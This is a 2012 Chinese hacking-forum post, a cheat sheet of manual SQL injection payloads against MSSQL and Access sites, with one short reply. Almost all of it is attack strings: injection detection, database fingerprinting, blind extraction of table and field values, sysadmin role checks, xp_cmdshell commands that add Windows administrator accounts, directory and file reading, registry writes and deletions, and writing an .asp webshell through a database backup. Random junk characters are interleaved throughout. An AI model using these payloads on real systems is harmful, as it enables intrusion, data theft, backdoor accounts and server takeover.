找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2461|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入
6 L6 r1 {2 f8 l' `* }! W3 @) e! y0 L1.判断是否有注入;and 1=1 ;and 1=2
$ I2 m4 T& j$ F3 r3 X# H3 d3 t1 {- }7 r$ G+ b
2.初步判断是否是mssql ;and user>0 ( b7 s" Y. Q' ~& I, o  E

& o& \* V7 O0 A; h! q! s3.注入参数是字符'and [查询条件] and ''='
1 q" b! M# H3 Q6 H) X4 K- b9 M- D& p* i1 q
4.搜索时没过滤参数的'and [查询条件] and '%25'=' + I5 d4 w1 |3 G& g6 L  f
* q5 a- Z" f' a! a  Y
5.判断数据库系统 ! i; ^0 n  A; U( w0 {
;and (select count(*) from sysobjects)>0 mssql # t' V7 H1 P" D
;and (select count(*) from msysobjects)>0 access 0 y' H  f. M8 Y9 P+ @2 l  z
/ j- J8 L+ m, A  T
6.猜数据库 ;and (select Count(*) from [数据库名])>0
# ~' g7 a" o) r# s+ B  ?+ V
# f' y6 O  r% j2 \7 W6 O7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $ D, J$ H/ @5 n: i( ?
% K# b( Q" p: x1 ^/ |, n
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1 E8 ]5 u4 ^! M  u
5 Y3 M' C% _# G# H  N3 S0 X9 ]9 r
9.(1)猜字段的ascii值(access)
# z2 b, `. A: s5 m" s8 h$ [;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
; C% I! E4 N$ r& ]- C, ?: E2 [5 a2 b" d5 w) b8 p' U3 C
(2)猜字段的ascii值(mssql)
7 G# T) L1 ?9 n$ Z/ r& ~5 `;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0   l0 i& t5 G( A, s- H

+ J8 Y& k- B- R* B6 T10.测试权限结构(mssql)
. e2 ^! ~- a. a. P; ~0 f' y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- & h/ J1 k! w  Y1 Z9 I* V$ ~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
# [# J/ |5 ]" H) A9 L;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; V' O5 s- @  S- C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
2 B9 E) y+ b% s4 _1 j2 R: J;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- a0 s3 a1 `6 J;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + W: g' L- m6 P# X. |  e
;and 1=(select IS_MEMBER('db_owner'));-- 8 }2 E; T& {$ D( O0 y

2 |7 r1 E5 O; r1 B* y4 ?! `11.添加mssql和系统的帐户
. l1 w3 Q, m7 g  P% a( W;exec master.dbo.sp_addlogin username;-- " `; Q7 k/ y9 t
7 ~8 @4 n5 t8 B4 @# r( Q
;exec master.dbo.sp_password null,username,password;--
( x: h0 ^- V* i$ e* p+ b. d5 V7 w: P0 O0 h9 u
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; d' F( J$ i6 p0 k
( _  b3 Q! K% x4 f/ D; c;exec master.dbo.xp_cmdshell 'net user username password
' t, u! {- G& ]/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ b5 }! ?* K. J1 ?
0 i1 }) z3 d6 `( x- q- g, w* N;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 L# \7 h/ A6 P% Z3 S7 [( @: g
; H4 K5 D. A3 W+ D  Z9 y0 I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ' X' L) M; A* u* Q" e9 n  ^8 Z
8 Z: Q1 R( v* J. |2 s" L
12.(1)遍历目录
/ @: W9 v' m' m8 q8 C
, {  _$ \# I8 M9 B$ ^;create table dirs(paths varchar(100), id int)
5 M: \' ]* e$ t3 E8 G$ Q; d;insert dirs exec master.dbo.xp_dirtree 'c:\'
! Y" F7 O  V% k3 t# W;and (select top 1 paths from dirs)>0
1 o: M: }1 t! L! y" e( s4 L;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2 B* _6 u! r) r) W( |2 Q
' J- ]1 Z6 M( C+ R) s& @
(2)遍历目录
7 M' C) `2 q! o5 p5 A5 f! H- |9 X;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4 {. [2 _9 c) \8 R8 u% o- r+ e
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - _( E7 n6 ], {5 ^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ ]1 U- {( I* Q;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4 r8 f' ^' g, v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 g- r& L* F1 W+ g( m
) R, }+ n- g; E0 j/ W, E13.mssql中的存储过程 7 l% O1 X/ b' ?* f

3 m6 M9 P9 F9 Fxp_regenumvalues 注册表根键, 子键
5 {# E9 W. z8 u' l# F% J;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 - P1 u4 X- g1 [/ G1 P7 e
& x1 V. K1 V/ _2 W& j
xp_regread 根键,子键,键值名 6 c& @$ R4 v' o( v& b
;exec xp_regread
# o6 r1 u2 x& K  {'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. W6 d$ x! |$ n2 B- L4 J- E9 i1 s7 _0 Y" A( F/ _- e; H4 I0 q
xp_regwrite 根键,子键, 值名, 值类型, 值
8 C1 v4 j: m" R. V值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' F0 q0 _/ f9 p$ v7 f;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
: y1 i& f: q% \1 c) x; q* m: u( }& j1 c* p1 V- W6 H
xp_regdeletevalue 根键,子键,值名
  D& o/ L- Y0 ?2 }- R& {7 F5 Q' q2 c
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 , e  x* b+ [) a8 O

9 O' i+ k4 v, C4 v; Exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( ?+ x+ h4 H% o+ q# D

+ _5 I' j3 u1 K  L  c14.mssql的backup创建webshell 2 [2 p6 y; N7 z8 J. s
use model
) f7 K- y, }" ^6 e6 _6 qcreate table cmd(str image);
' _- W" t( v) w2 S+ ^* b& S0 cinsert into cmd(str) values (''); / D1 C9 Q% Z$ \1 l: a( g
backup database model to disk='c:\l.asp'; * j4 p( Q8 C3 X
# a4 x+ o" L& G# I
15.mssql内置函数 + v6 Q9 L. O2 l% ]
;and (select @@version)>0 获得Windows的版本号 / m% T# Z2 [- h
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 h* Y3 l/ ]/ W5 y. M;and (select user_name())>0 爆当前系统的连接用户
& h) v# C( P! q" v2 i;and (select db_name())>0 得到当前连接的数据库 + R6 P3 ^; ~- z* a

/ N2 G8 T5 ]) [) `  ?16.简洁的webshell
' L! k6 k3 ?8 e2 ^- c! i: N  ]! H$ ]8 ~
use model
; E& D3 C1 f% I: g8 b9 @3 T& x4 P3 g. |2 X
create table cmd(str image);
  w2 ~8 A0 {5 C  W1 ~: K
; F/ Q2 J( p$ w+ B8 z& |0 }1 Tinsert into cmd(str) values ('');   F+ u( I" e0 G+ n3 s
- h) P: [) K& i% |4 Y) s1 [! W
backup database model to disk='g:\wwwtest\l.asp';
/ A0 T- b) c5 Z6 y" y- }  P) ^ * W" K1 h, t7 l" Q* P
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表